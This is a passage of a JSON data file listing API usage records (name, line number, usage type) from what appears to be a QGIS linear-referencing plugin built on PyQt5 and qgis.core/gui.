{"api_name": "PyQt5.QtCore", "line_number": 1304, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyDebugFunctions.get_debug_pos", "line_number": 1308, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1310, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1310, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1310, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1310, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1339, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1339, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1339, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1339, "usage_type": "name"}, {"api_name": "qgis.gui.QgsExpressionBuilderDialog", "line_number": 1363, "usage_type": "call"}, {"api_name": "qgis.gui", "line_number": 1363, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1364, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1364, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1364, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1364, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1373, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1373, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1373, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1373, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1375, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1375, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1375, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1375, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1378, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1378, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1378, "usage_type": "name"}, {"api_name": "qgis.gui.QgsExpressionBuilderDialog", "line_number": 1384, "usage_type": "call"}, {"api_name": "qgis.gui", "line_number": 1384, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1385, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1385, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1385, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1385, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1392, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1392, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1392, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1392, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1394, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1394, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1394, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1394, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1397, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1397, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1397, "usage_type": "name"}, {"api_name": "qgis.gui.QgsExpressionBuilderDialog", "line_number": 1404, "usage_type": "call"}, {"api_name": "qgis.gui", "line_number": 1404, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1405, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1405, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1405, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1405, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1411, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1411, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1411, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1411, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1413, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1413, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1413, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1413, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1416, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1416, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1416, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 1426, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 1426, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1426, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 1426, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1426, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 1428, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 1428, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1428, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 1428, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1428, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 1430, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 1430, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1430, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 1430, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1430, "usage_type": "name"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 1472, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1472, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 1472, "usage_type": "call"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 1489, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1489, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 1489, "usage_type": "call"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 1507, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1507, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 1507, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1523, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1523, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1523, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1523, "usage_type": "name"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 1539, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1539, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 1539, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1552, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1552, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1552, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1552, "usage_type": "name"}, {"api_name": "qgis.core", "line_number": 1672, "usage_type": "attribute"}, {"api_name": "qgis.core.Qgis.SnappingTypes", "line_number": 1674, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1674, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsSnappingConfig.IndividualLayerSettings", "line_number": 1675, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1675, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 1677, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1677, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 1693, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 1694, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 1695, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 1696, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 1697, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 1701, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 1702, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1705, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1705, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1705, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1705, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_data_layers", "line_number": 1773, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1773, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1773, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.instance", "line_number": 1788, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 1788, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1788, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 1788, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 1791, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1791, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_linestring_layers", "line_number": 1801, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1801, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1801, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.instance", "line_number": 1833, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 1833, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1833, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 1833, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 1836, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1836, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_point_show_layers", "line_number": 1844, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1844, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1844, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.instance", "line_number": 1859, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 1859, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1859, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 1859, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 1862, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1862, "usage_type": "name"}, {"api_name": "qgis.core.QgsAction", "line_number": 1904, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1904, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 1906, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsAction", "line_number": 1917, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1917, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 1919, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 1934, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QApplication.instance", "line_number": 1939, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 1939, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1939, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 1939, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 1942, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1942, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.instance", "line_number": 1960, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 1960, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1960, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 1960, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 1963, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1963, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1994, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1994, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1994, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1994, "usage_type": "name"}, {"api_name": "qgis.core", "line_number": 1998, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2001, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2004, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2009, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2009, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2009, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2009, "usage_type": "name"}, {"api_name": "qgis.core.QgsAction", "line_number": 2057, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2057, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2059, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsAction", "line_number": 2070, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2070, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2072, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2086, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QApplication.instance", "line_number": 2091, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 2091, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2091, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 2091, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 2094, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2094, "usage_type": "name"}, {"api_name": "qgis.core", "line_number": 2098, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2102, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2110, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2114, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QSignalBlocker", "line_number": 2125, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 2125, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSignalBlocker", "line_number": 2131, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 2131, "usage_type": "name"}, {"api_name": "qgis.gui", "line_number": 2134, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsGeometry.fromPointXY", "line_number": 2147, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2147, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 2148, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2148, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2148, "usage_type": "call"}, {"api_name": "qgis.core.QgsGeometry.fromPointXY", "line_number": 2158, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2158, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsGeometry.fromRect", "line_number": 2171, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2171, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsRectangle", "line_number": 2171, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.OneLayerFilter", "line_number": 2178, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 2178, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 2178, "usage_type": "name"}, {"api_name": "qgis.core.QgsGeometry.fromPointXY", "line_number": 2193, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2193, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 2195, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2195, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2195, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 2207, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 2207, "usage_type": "name"}, {"api_name": "qgis.core.QgsExpressionContext", "line_number": 2208, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2208, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsExpression", "line_number": 2209, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2209, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 2215, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 2215, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 2220, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 2220, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 2224, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 2224, "usage_type": "name"}, {"api_name": "qgis.gui", "line_number": 2237, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsGeometry.fromPointXY", "line_number": 2251, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2251, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 2252, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2252, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2252, "usage_type": "call"}, {"api_name": "qgis.core.QgsGeometry.fromPointXY", "line_number": 2264, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2264, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsRectangle", "line_number": 2295, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2295, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsRectangle", "line_number": 2297, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2297, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 2299, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2299, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2299, "usage_type": "call"}, {"api_name": "qgis.core.QgsFeatureRequest", "line_number": 2302, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2302, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2304, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 2313, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 2313, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2313, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 2313, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2313, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 2318, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 2318, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2318, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 2318, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2318, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 2333, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 2333, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 2333, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 2337, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 2337, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 2337, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2345, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2345, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2345, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.OneLayerFilter", "line_number": 2351, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 2351, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 2351, "usage_type": "name"}, {"api_name": "qgis.core.QgsGeometry.fromPointXY", "line_number": 2355, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2355, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 2358, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2358, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2358, "usage_type": "call"}, {"api_name": "qgis.gui", "line_number": 2373, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsGeometry.fromPointXY", "line_number": 2388, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2388, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 2389, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2389, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2389, "usage_type": "call"}, {"api_name": "qgis.core.QgsGeometry.fromPointXY", "line_number": 2394, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2394, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 2405, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2405, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 2420, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2420, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 2421, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2421, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 2422, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2422, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 2423, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2423, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 2424, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2424, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 2425, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2425, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2427, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2427, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2427, "usage_type": "name"}, {"api_name": "qgis.core.QgsField", "line_number": 2436, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2436, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QVariant", "line_number": 2436, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2436, "usage_type": "name"}, {"api_name": "qgis.core.QgsField", "line_number": 2437, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2437, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsField", "line_number": 2438, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2438, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QVariant", "line_number": 2438, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2438, "usage_type": "name"}, {"api_name": "qgis.core.QgsFields", "line_number": 2440, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2440, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsVectorFileWriter.SaveVectorOptions", "line_number": 2445, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2445, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2449, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2449, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 2450, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2450, "usage_type": "attribute"}, {"api_name": "osgeo.ogr.Open", "line_number": 2452, "usage_type": "call"}, {"api_name": "osgeo.ogr", "line_number": 2452, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2453, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_unique_layer_name", "line_number": 2456, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 2456, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 2456, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QInputDialog.getText", "line_number": 2458, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QInputDialog", "line_number": 2458, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2458, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyDebugFunctions.get_debug_pos", "line_number": 2458, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2458, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2458, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2458, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 2458, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2460, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2460, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2460, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.question", "line_number": 2464, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2464, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2464, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2467, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2467, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2467, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2467, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2468, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2468, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2469, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2469, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2472, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2472, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2475, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2475, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2475, "usage_type": "name"}, {"api_name": "qgis.core.QgsVectorFileWriter.create", "line_number": 2481, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2481, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2484, "usage_type": "attribute"}, {"api_name": 